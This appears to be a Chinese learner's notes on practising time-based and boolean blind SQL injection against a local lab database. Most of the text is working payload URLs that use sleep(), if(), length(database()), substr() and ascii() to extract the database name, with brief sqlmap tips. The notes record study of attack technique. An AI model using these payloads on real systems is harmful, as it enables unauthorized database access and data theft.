先配置好本地的数据库
1.时间盲注漏洞
一.用sleep函数来
1.访问对应路径
2.然后输入id=1得到
3.接下来判断闭合,看看有没有sql注入漏洞
http://localhost/sql/time_blind/?id=1%27
发现不回显了,代表sql语句出现了问题,但是不回显错误信息,又加了一个引号,发现正常了,相当于又给他闭合了一下,%27是引号
http://localhost/sql/time_blind/?id=1%27%27
4.接下来利用if来进行一个判断,看一下数据库名字有多长,if的参数分别是if(判断的语句,如果是真要执行的语句,如果是假要执行的语句)
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database()%3E1),sleep(5))
刚开始的错误在于这把>1放在了length里面,应该在外面,并且没有注释后面的语句
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())>1,sleep(5),0)--+
这时候发现他延时了5s,后面一步步确定,发现长度是4,
http://localhost/sql/time_blind/?id=1%27%20and%20if(length(database())=4,sleep(5),0)--+
5.后面可以用substr来判断每一位是什么,这里我的数据库是test,来试一试
http://localhost/sql/time_blind/?id=1%27%20and%20if(substr(database(),1,1)=%27t%27,sleep(5),0)--+
二.如果说sleep函数被过滤了,用benchmark()函数或者笛卡尔积,用来代替sleep函数那个位置
三.sqlmap爆破,最好用双引号包裹起来,以防有and的时候,把and识别为sqlmap的and,最好加一个--random-agent
指定类型,B是盲注,
查看是相对应类型的漏洞存在吧
回头学习sqlmap的所有的参数和操作
2.布尔型盲注
http://localhost/sql/time_blind/?id=1%27%20and%201=1--+
正常回显,但是当1=2,就回显失败,所以根据这个去构造语句判断,如判断数据库名字的长度
http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=6--+
就不显示,但是如果等于4,就显示,因为库名是test
http://localhost/sql/time_blind/?id=1%27%20and%20length(database())=4--+
另一种是利用ascii函数,根据返回的字符ascii是不是存在来判断数据库的长度
http://localhost/sql/time_blind/?id=1%27%20and%20ascii(substr(database(),5,1))
如判断5,这时候,就不行,因为第五位是空的
但是如果是判断4,回显成功
left函数
查看数据库存在的表的数量
limit是从第一个参数的值开始,只显示第二个参数个,前一个是索引,后一个是长度